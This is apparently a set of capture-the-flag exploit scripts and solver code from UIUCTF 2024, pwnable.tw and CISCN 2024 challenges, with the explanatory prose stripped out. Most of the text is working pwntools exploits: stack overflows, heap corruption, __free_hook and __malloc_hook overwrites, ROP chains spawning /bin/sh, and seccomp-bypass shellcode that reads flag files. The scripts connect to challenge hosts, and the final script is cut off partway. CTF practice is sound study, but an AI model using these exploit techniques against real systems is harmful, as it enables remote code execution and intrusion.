1
2
3
4
5
6
7

Arch:     mips-32-big
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX unknown - GNU_STACK missing
PIE:      No PIE (0x400000)
Stack:    Executable
RWX:      Has RWX segments

1

qemu-mips -g 1234 ./backup-power

1
2
3
4
5

gdb-multiarch ./backup-power

pwndbg> set arch mips
pwndbg> set endian big
pwndbg> target remote :1234

1
2

pwndbg> b *0x400ee8
pwndbg> c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

from pwn import *

exe = ELF("./backup-power")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("backup-power.chal.uiuc.tf", 1337, ssl=True)

    return r


def main():
    r = conn()

    r.sendlineafter(b"Username: ", b'devolper')
    payload = b"A" * 24 + b"sh;\x00".ljust(12, b"A") + p32(0xdeadbeef) * 2 + p32(0x400b0c)

    sp = (
        p32(0)*6
        + p32(0x004AA330)                       # that's gp, we need to keep it
        + p32(0)*5
        + b"devolper".ljust(100, b"\x00")
        + b"devolper".ljust(100, b"\x00")
        + b"system\x00"                         # overwrite command to system
    )

    payload += sp
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

1
2
3
4
5

typedef struct refund_request {
    refund_status_t status;
    int amount;
    char reason[0x80];
} refund_request_t;

1
2
3
4

static size_t get_prev_size(chunk_ptr block) {
    btag_t *prev_footer = (btag_t *) ((char *) block - BTAG_SIZE);
    return prev_footer->size;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

#!/usr/bin/env python3

from pwn import *

exe = ELF("./chal")

context.binary = exe


def conn():
    global r
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("pwnymalloc.chal.uiuc.tf", 1337, ssl=True)

def complain(data):
    r.sendlineafter(b"> ", b"1")
    r.sendafter(b":", data)

def refund(data):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"refunded:\n", b"0") # why would i refund XD
    r.sendafter(b"request:\n", data)

def win(index):
    r.sendlineafter(b"> ", b"4")
    r.sendlineafter(b"ID:\n", str(index).encode())


def main():
    conn()

    # fake chunk inside
    payload = b'\x00'*0x60 + p64(0xb0) +p64(0)+p64(0) + b'\n'
    refund(payload)
    # the target chunk we will overflow
    payload = b'\x00'*0x78 + p64(0xb0)[:-1]
    refund(payload)
    # trigger the coalesce
    payload = b'BeaCox never complains\n'
    complain(payload)
    # overwrite the target to make it approved
    payload = p64(0)+p64(0)+p64(0x91)+p32(1)+p32(0xdeadbeef) + b'\n' # what about refunding a deadbeef?
    refund(payload)
    gdb.attach(r)
    # win!
    win(1)

    r.interactive()


if __name__ == "__main__":
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

const LEN: usize = 64;
const LEN2: usize = 2000;
const LEN3: usize = 80;

#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
let mut buffer = Box::new([0; LEN]);
return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_law() -> &'static mut [u8; LEN2] {
let mut buffer = Box::new([0; LEN2]);
let mut _buffer2 = Box::new([0; 16]);
return get_ptr(&mut buffer);
}

#[inline(never)]
fn get_note() -> Box<[u8; LEN]>{
return Box::new([0; LEN])
}

1
2
3
4
5
6
7
8
9
10
11
12

const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
fn ident<'a, 'b, T: ?Sized>(
        _val_a: &'a &'b (),
        val_b: &'b mut T,
) -> &'a mut T {
val_b
}
let f: fn(_, &'a mut T) -> &'b mut T = ident;
f(S, x)
}

1
2
3

const LEN2: usize = 2000;
let mut buffer = Box::new([0; LEN2]);
return get_ptr(&mut buffer);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98

#!/usr/bin/env python3

from pwn import *

exe = ELF("./rusty_ptrs")
libc = ELF("libc-2.31.so")
ld = ELF("ld-2.31.so")

context.binary = exe


def conn():
    global r
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("rustyptrs.chal.uiuc.tf", 1337, ssl=True)

def create_rule():
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", b"1")

def create_note():
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", b"2")

def delete_rule(index):
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", str(index).encode())

def delete_note(index):
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", str(index).encode())

def read_rule(index):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", str(index).encode())

def read_note(index):
    r.sendlineafter(b"> ", b"3")
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", str(index).encode())

def edit_rule(index, content):
    r.sendlineafter(b"> ", b"4")
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", str(index).encode())
    r.sendlineafter(b"> ", content)

def edit_note(index, content):
    r.sendlineafter(b"> ", b"4")
    r.sendlineafter(b"> ", b"2")
    r.sendlineafter(b"> ", str(index).encode())
    r.sendlineafter(b"> ", content)

def make_law():
    r.sendlineafter(b"> ", b"5")

def main():
    conn()
    # r.interactive()

    make_law()
    libc_leak = int(r.recvuntil(b",", drop=True), 16)
    info(f"[L3ak] libc leak: {hex(libc_leak)}")
    libc.address = libc_leak - 0x1ecbe0
    info(f"[C4lc] libc base: {hex(libc.address)}")
    free_hook_addr = libc.symbols['__free_hook']
    info(f"[C4lc] free hook addr: {hex(free_hook_addr)}")
    system_addr = libc.sym['system']
    info(f"[C4lc] system addr: {hex(system_addr)}")
    create_note()
    create_note()
    create_note()
    create_note()
    delete_note(3)
    delete_note(2)
    delete_note(1)
    delete_note(0)
    create_rule()
    edit_rule(0, p64(free_hook_addr))
    create_note()
    create_note()
    payload = p64(system_addr)
    # gdb.attach(r)
    edit_note(1, payload)           # overwrite free_hook with system
    edit_note(0, b"/bin/sh\x00")    # set /bin/sh as argument
    delete_note(0)                  # delete_note wiil trigger free_hook, which will call system("{what's in note}")

    r.interactive()

if __name__ == "__main__":
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

seccomp-tools dump ./syscalls
The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x16 0xc000003e  if (A != ARCH_X86_64) goto 0024
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x13 0xffffffff  if (A != 0xffffffff) goto 0024
 0005: 0x15 0x12 0x00 0x00000000  if (A == read) goto 0024
 0006: 0x15 0x11 0x00 0x00000001  if (A == write) goto 0024
 0007: 0x15 0x10 0x00 0x00000002  if (A == open) goto 0024
 0008: 0x15 0x0f 0x00 0x00000011  if (A == pread64) goto 0024
 0009: 0x15 0x0e 0x00 0x00000013  if (A == readv) goto 0024
 0010: 0x15 0x0d 0x00 0x00000028  if (A == sendfile) goto 0024
 0011: 0x15 0x0c 0x00 0x00000039  if (A == fork) goto 0024
 0012: 0x15 0x0b 0x00 0x0000003b  if (A == execve) goto 0024
 0013: 0x15 0x0a 0x00 0x00000113  if (A == splice) goto 0024
 0014: 0x15 0x09 0x00 0x00000127  if (A == preadv) goto 0024
 0015: 0x15 0x08 0x00 0x00000128  if (A == pwritev) goto 0024
 0016: 0x15 0x07 0x00 0x00000142  if (A == execveat) goto 0024
 0017: 0x15 0x00 0x05 0x00000014  if (A != writev) goto 0023
 0018: 0x20 0x00 0x00 0x00000014  A = fd >> 32 # writev(fd, vec, vlen)
 0019: 0x25 0x03 0x00 0x00000000  if (A > 0x0) goto 0023
 0020: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0024
 0021: 0x20 0x00 0x00 0x00000010  A = fd # writev(fd, vec, vlen)
 0022: 0x25 0x00 0x01 0x000003e8  if (A <= 0x3e8) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

#!/usr/bin/env python3

from pwn import *

exe = ELF("./syscalls_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)

    return r


def main():
    r = conn()

    # openat(AT_FDCWD, "./flag.txt", 0)
    # preadv2(3, {"rsp", 0x50}, 1, 0, 0)
    # pwritev2(1, {"rsp", 0x50}, 1, -1, 0)

    shellcode = asm(
        """
        mov rax, 257
        mov rdi, -100
        mov rsi, 0x7478
        push rsi
        mov rsi, 0x742e67616c662f2e
        push rsi
        mov rsi, rsp
        xor rdx, rdx
        syscall
        mov rdi, rax
        mov rax, 327
        mov r12, rsp
        add r12, 0x50
        mov r11, 0x50
        push r11
        push r12
        mov rsi, rsp
        mov rdx, 1
        mov r10, -1
        mov r8, 0
        syscall
        mov rax, 328
        mov rdi, 1
        syscall
        """
    )
    # gdb.attach(r, '''
    # b *$rebase(0x12d6)'''
    # )
    print(shellcode)
    r.sendline(shellcode)

    r.interactive()


if __name__ == "__main__":
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110

From 1470120abb93fb80ee0ac52feab611418ec957d7 Mon Sep 17 00:00:00 2001
From: YiFei Zhu <zhuyifei@google.com>
Date: Wed, 26 Jun 2024 19:39:11 -0700
Subject: [PATCH] prctl: Add a way to prohibit file descriptor creation

They are avoided by enforcing a failure when the kernel tries to
allocate a free fd. To be extra extra safe, attempting to install
an fd after the point of no return will panic.

Child processes inherit the restriction just like seccomp.

Signed-off-by: YiFei Zhu <zhuyifei@google.com>
---
 fs/file.c                  | 7 +++++++
 include/linux/sched.h      | 5 +++++
 include/uapi/linux/prctl.h | 2 ++
 kernel/fork.c              | 3 +++
 kernel/sys.c               | 3 +++
 5 files changed, 20 insertions(+)

diff --git a/fs/file.c b/fs/file.c
index 3b683b9101d8..d9562f8bca85 100644
--- a/fs/file.c
+++ b/fs/file.c
@@ -503,6 +503,9 @@ static int alloc_fd(unsigned start, unsigned end, unsigned flags)
 int error;
 struct fdtable *fdt;
 
+if (task_uiuctf_no_fds_allowed(current))
+return -EPERM;
+
 spin_lock(&files->file_lock);
 repeat:
 fdt = files_fdtable(files);
@@ -604,6 +607,10 @@ void fd_install(unsigned int fd, struct file *file)
 struct files_struct *files = current->files;
 struct fdtable *fdt;
 
+if (task_uiuctf_no_fds_allowed(current))
+panic("Installing fds is actually not allowed and "
+      "I'm not trying to hide a bypass");
+
 if (WARN_ON_ONCE(unlikely(file->f_mode & FMODE_BACKING)))
 return;
 
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 3c2abbc587b4..f4584022dc4c 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -1698,6 +1698,8 @@ static __always_inline bool is_percpu_thread(void)
 #define PFA_SPEC_IB_FORCE_DISABLE6/* Indirect branch speculation permanently restricted */
 #define PFA_SPEC_SSB_NOEXEC7/* Speculative Store Bypass clear on execve() */
 
+#define PFA_UIUCTF_NO_FDS_ALLOWED10
+
 #define TASK_PFA_TEST(name, func)\
 static inline bool task_##func(struct task_struct *p)\
 { return test_bit(PFA_##name, &p->atomic_flags); }
@@ -1739,6 +1741,9 @@ TASK_PFA_CLEAR(SPEC_IB_DISABLE, spec_ib_disable)
 TASK_PFA_TEST(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)
 TASK_PFA_SET(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)
 
+TASK_PFA_TEST(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+TASK_PFA_SET(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+
 static inline void
 current_restore_flags(unsigned long orig_flags, unsigned long flags)
 {
diff --git a/include/uapi/linux/prctl.h b/include/uapi/linux/prctl.h
index 370ed14b1ae0..6075c202ca43 100644
--- a/include/uapi/linux/prctl.h
+++ b/include/uapi/linux/prctl.h
@@ -306,4 +306,6 @@ struct prctl_mm_map {
 # define PR_RISCV_V_VSTATE_CTRL_NEXT_MASK0xc
 # define PR_RISCV_V_VSTATE_CTRL_MASK0x1f
 
+#define PRCTL_UIUCTF_NO_FDS_ALLOWED 100
+
 #endif /* _LINUX_PRCTL_H */
diff --git a/kernel/fork.c b/kernel/fork.c
index aebb3e6c96dc..692c01b13c9a 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -2559,6 +2559,9 @@ __latent_entropy struct task_struct *copy_process(
  */
 copy_seccomp(p);
 
+if (task_uiuctf_no_fds_allowed(current))
+task_set_uiuctf_no_fds_allowed(p);
+
 init_task_pid_links(p);
 if (likely(p->pid)) {
 ptrace_init_task(p, (clone_flags & CLONE_PTRACE) || trace);
diff --git a/kernel/sys.c b/kernel/sys.c
index 8bb106a56b3a..5bb16543a565 100644
--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -2760,6 +2760,9 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
 case PR_RISCV_V_GET_CONTROL:
 error = RISCV_V_GET_CONTROL();
 break;
+case PRCTL_UIUCTF_NO_FDS_ALLOWED:
+task_set_uiuctf_no_fds_allowed(current);
+break;
 default:
 error = -EINVAL;
 break;
-- 
2.45.1

1
2
3

key_serial_t request_key(const char *type, const char *description,
const char *_Nullable callout_info,
key_serial_t dest_keyring);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

#!/usr/bin/env python3

from pwn import *

context.arch = "amd64"
shellcode = asm("""

    lea rdi, [rip + offset init]
    lea rsi, [rip + offset request_key]
    mov eax, 0x58
    syscall


    lea rdi, [rip + offset chal]
    mov eax, 0x57
    syscall

    lea rdi, [rip + offset bash]
    lea rsi, [rip + offset chal]
    mov eax, 0x58
    syscall

    lea rdi, [rip + offset a]
    lea rsi, [rip + offset b]
    lea rdx, [rip + offset c]  
    mov r10, 0xfffffffd 
    mov rax, 0xf9       
    
    syscall
    ret
a:
    .asciz "user"
b:
    .asciz "BeaCox:nonsense"
c:
    .asciz "payload:data"
init:
    .asciz "/init"
chal:
    .asciz "/chal"
request_key:
    .asciz "/sbin/request-key"
bash:
    .asciz "/bin/bash"

""")

print(shellcode.hex())

1
2
3
4
5

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

1

3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped

1
2
3
4
5
6
7
8
9

if ( byte_4B9330 == 1 )
{
  write_func(1u, "addr:", 5uLL);
  read_func(0, buf, 0x18uLL);
  v4 = (char *)(int)bytes_to_addr(buf);
  write_func(1u, "data:", 5uLL);
  read_func(0, v4, 0x18uLL);
  result = 0;
}

1

readelf -S ./3x17 | grep .fini_array

1
2
3
4
5
6
7
8
9

sub_401EB0(
  (unsigned int)main,
  v4,
  (unsigned int)&retaddr,
  (unsigned int)sub_4028D0,
  (unsigned int)sub_402960,
  a3,
  (__int64)&v5);
__halt();

1
2
3
4
5

push    rbp
lea     rax, unk_4B4100
lea     rbp, off_4B40F0
push    rbx
...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

#!/usr/bin/env python3

from pwn import *

exe = ELF("./3x17")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("chall.pwnable.tw", 10105)

    return r

def www(r,addr,data):
    r.sendafter(b"addr:",str(addr).encode())
    r.sendafter(b"data:",data)


def main():
    args.LOCAL = False
    r = conn()
    # `readelf -S ./3x17` to find the addr of .fini_array
    # in the `start`, there is a `__libc_start_main`
    # the `__libc_start_main`'s 4th and 5th arg is `__libc_csu_init`, `__libc_csu_fini`

    fini_array = 0x4b40f0
    libc_csu_fini = 0x402960
    main = 0x401b6d
    leave_ret_addr = 0x401c4b
    pop_rdi = 0x401696
    pop_rsi = 0x406c30
    pop_rdx = 0x446e35
    pop_rax = 0x41e4af
    syscall = 0x4022b4

    # stage1: eternal loop
    www(r,fini_array,flat(libc_csu_fini,main))

    # stage2: rop chain
    www(r, fini_array + 0x10, flat(fini_array+0x50, pop_rsi, 0))
    www(r, fini_array + 0x28, flat(pop_rdx, 0, pop_rax))
    www(r, fini_array + 0x40, flat(0x3b, syscall) + b'/bin/sh\x00')
    www(r, fini_array, flat(leave_ret_addr, pop_rdi))

    r.interactive()

if __name__ == "__main__":
    main()

1

flag{y0u_ar3_hotpot_K1ng}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

data = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'_', '!', '@', '#']

list = [
37,
43,
89,
139,
163,
214,
277,
309,
347,
389,
431,
477
]

password = ''
for i in range(12):
    tmp = list[i] - i*40 -1
    print(tmp)
    password += data[tmp]

print(password)

1

flag{_ciscn_2024_}

1

fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}

1

flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

1
2

v3 = time(0LL);
srand(v3 & 0xF0000000);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

from pwn import *
from z3 import *
from ctypes import *

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x60000000)

# Initialization
flag_len = 38
solver = Solver()

# Create a list of BitVec variables to represent the flag
flag_chars = [BitVec(f'flag_{i}', 8) for i in range(flag_len)]

# Add constraints
solver.add(flag_chars[0] == ord('f'))
solver.add(flag_chars[1] == ord('l'))
solver.add(flag_chars[2] == ord('a'))
solver.add(flag_chars[3] == ord('g'))
solver.add(flag_chars[4] == ord('{'))
solver.add(flag_chars[flag_len-1] == ord('}'))

# Step 1: XOR with rand
v28 = [BitVec(f'v28_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
    random_val = libc.rand() & 0xff
    solver.add(v28[i] == flag_chars[i] ^ random_val)

# Step 2: Shuffle array s
ptr = [i for i in range(flag_len)]
k = flag_len - 1
while k >= 0:
    v18 = (libc.rand() % (k + 1)) & 0xff
    v19 = ptr[k]
    ptr[k] = ptr[v18]
    ptr[v18] = v19
    k -= 1

val1 = [
0xd8, 0xe0, 0x19, 0xe8, 0xcd, 0x9f, 0x6d, 0x65,
0xb8, 0x11, 0x81, 0xc8, 0x6e, 0xd0, 0xdb, 0xf8,
0x6b, 0xf9, 0x7d, 0xd2, 0xd6, 0xd5, 0x0f, 0x89,
0x1e, 0x34, 0x6a, 0xc5, 0xfd, 0xc1, 0xe9, 0x26,
0xd0, 0xba, 0xfa, 0x99, 0xe7, 0x06
]

val2 = [0x6, 0x4a, 0x5b, 0x14, 0xc4, 0x77, 0xdf, 0x63, 0xb5, 0x82, 0xe0, 0x3c, 0x4a, 0x99, 0xce, 0xf9, 0xbc, 0x52, 0x79, 0xca, 0x19, 0x3c, 0xda, 0x1f, 0x2d, 0xfe, 0x93, 0xef, 0xa3, 0x2b, 0xc4, 0x1a, 0x44, 0xd5, 0xc2, 0x4, 0xbf, 0xec]

random_vals = [0] * flag_len
for i in range(flag_len):
    random_vals[i] = val1[i] ^ val2[i]

# *((_BYTE *)v31 + m) = *((_BYTE *)v28 + *((unsigned __int8 *)ptr + m));
v31 = [BitVec(f'v31_{i}', 8) for i in range(flag_len)]
for m in range(flag_len):
    solver.add(v31[m] == (v28[ptr[m]] ) ^ (random_vals[m]) & 0xff)

# s1[ii] = *((_BYTE *)v31 + ii) ^ v32[ii];
v32 = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78]
s1 = [BitVec(f's1_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
    solver.add(s1[i] == v31[i] ^ v32[i])

s2 = "congratulationstoyoucongratulationstoy"
for i in range(flag_len):
    solver.add(s1[i] == ord(s2[i]))

if solver.check() == sat:
    model = solver.model()
    flag = ''.join([chr(model[flag_chars[i]].as_long()) for i in range(flag_len)])
    print(f'flag: {flag}')
else:
    print('unsat')

1

flag{78bace5989660ee38f1fd980a4b4fbcd}

1
2
3
4
5

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

from pwn import *

context.binary = binary = ELF('./gostack')
# context.log_level = 'critical'

syscall = 0x0000000000404043
pop_rax = 0x000000000040f984
pop_rsi = 0x000000000042138a
pop_rdx = 0x00000000004944ec
pop_rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
read_func = 0x46178d
bss = binary.bss()

# p = binary.process()
p = remote('8.147.129.254', 29507)
# read(0, bss, 0x100)
rop_chain = flat(pop_rdi_r14_r13_r12_rbp_rbx, 0, 0, 0, 0, 0, 0, pop_rsi, bss, pop_rdx, 8, read_func)
# execve(bss, 0, 0)
rop_chain += flat(pop_rdi_r14_r13_r12_rbp_rbx, bss, 0, 0, 0, 0, 0, pop_rsi, 0, pop_rdx, 0, pop_rax, 59, syscall)
payload = b'\x00' * 0x1d0 + rop_chain
payload = payload.ljust(0x1000, b'\x00')
p.recvuntil(b'message :')
# gdb.attach(p, '''b *0x4a0a9e''')
p.sendline(payload)
p.recvuntil(b'message :')
p.sendline(b'/bin/sh\x00')
p.interactive()

1

flag{08c559f9-81f7-4c74-a983-9eb59502de34}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

from pwn import *

# all protections are enabled
# heap overflow
# we can only use show and delete once

context.binary = binary = ELF('./orange_cat_diary')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x3c5158
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247

# p = binary.process()
p = remote('8.147.129.254', 25553)
p.recvuntil(b'Please tell me your name.\n')
p.sendline(b'BeaCox')

def menu():
    p.recvuntil(b'###orange_cat_diary###')
    p.recvuntil(b'Please input your choice:')

def add(size, content):
    menu()
    p.sendline(b'1')
    p.recvuntil(b'Please input the length of the diary content:')
    p.sendline(str(size).encode())
    p.recvuntil(b'Please enter the diary content:\n')
    p.send(content)

def show():
    menu()
    p.sendline(b'2')

def delete():
    menu()
    p.sendline(b'3')

def edit(size, content):
    menu()
    p.sendline(b'4')
    p.recvuntil(b'Please input the length of the diary content:')
    p.sendline(str(size).encode())
    p.recvuntil(b'Please enter the diary content:\n')
    p.send(content)

# House of Orange
add(0x400-8, b'A'*(0x400-16) + p64(0x0))
payload = b'A'*(0x400-16) + p64(0x0) + p64(0xc01)
edit(0x400, payload)
add(0x1000, b'\n')
add(0x68, b'\n')
show()
p.recv(8)
libc_leak = u64(p.recv(8))
info(f'libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'libc_base: {hex(libc.address)}')
malloc_hook_addr = libc.symbols['__malloc_hook']
info(f'malloc_hook_addr: {hex(malloc_hook_addr)}')
fake_bin_addr = malloc_hook_addr - 0x23
heap_leak = u64(p.recv(8))
info(f'heap_leak: {hex(heap_leak)}')
one_gadget = libc.address + one_gadget_offset
info(f'one_gadget: {hex(one_gadget)}')
realloc = libc.sym['realloc']
info(f'realloc: {hex(realloc)}')

# overwrite __malloc_hook and __realloc_hook
delete()
edit(0x68, p64(fake_bin_addr) + p64(fake_bin_addr) + b'\n')
add(0x68, cyclic(0x68))
payload = b'a'*0xb + p64(one_gadget) + p64(realloc)
add(0x68, payload + b'\n')
# gdb.attach(p, '')
p.send(b'1')

p.interactive()

1

flag{2a6de11d-8a93-484d-9444-7d1046c55134}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

$ seccomp-tools dump ./EzHeap
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000000a  if (A == mprotect) goto 0010
 0009: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149

from pwn import *

context.binary = binary = ELF('./EzHeap')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x21ace0
heap_offset = 0x1040
tcache_50_offset = 0x4d0
tcache_110_offset = 0x2420
heap_flag_offset = 0x2420
stack_offset = 0x170

# p = binary.process()
p = remote('8.147.133.76', 13951)

def menu():
    p.recvuntil(b'choice >> ')

def malloc_heap(size, content):
    menu()
    p.sendline(b'1')
    p.recvuntil(b'size:')
    p.sendline(str(size).encode())
    p.recvuntil(b'content:')
    p.send(content)

def free_heap(index):
    menu()
    p.sendline(b'2')
    p.recvuntil(b'idx:')
    p.sendline(str(index).encode())

def edit_heap(index, size, content):
    menu()
    p.sendline(b'3')
    p.recvuntil(b'idx:')
    p.sendline(str(index).encode())
    p.recvuntil(b'size:')
    p.sendline(str(size).encode())
    p.recvuntil(b'content:')
    p.send(content)

def show_heap(index):
    menu()
    p.sendline(b'4')
    p.recvuntil(b'idx:')
    p.sendline(str(index).encode())

def exit_program():
    menu()
    p.sendline(b'5')

def mangle(pos, ptr, page_offset=0):
    return ((pos >> 12) + page_offset) ^ ptr

def demangle(ptr, page_offset=0):
    pos = (ptr >> 12) + page_offset
    m = pos ^ ptr
    return m >> 24 ^ m

def leak_heap_libc():
    global heap_leak, libc_leak
    # idx 0
    malloc_heap(0x40, b'A'*0x40)
    edit_heap(0, 0x50, b'A'*0x50)
    show_heap(0)
    p.recvuntil(b'A'*0x50)
    libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
    edit_heap(0, 0xd0, b'B'*0xd0)
    show_heap(0)
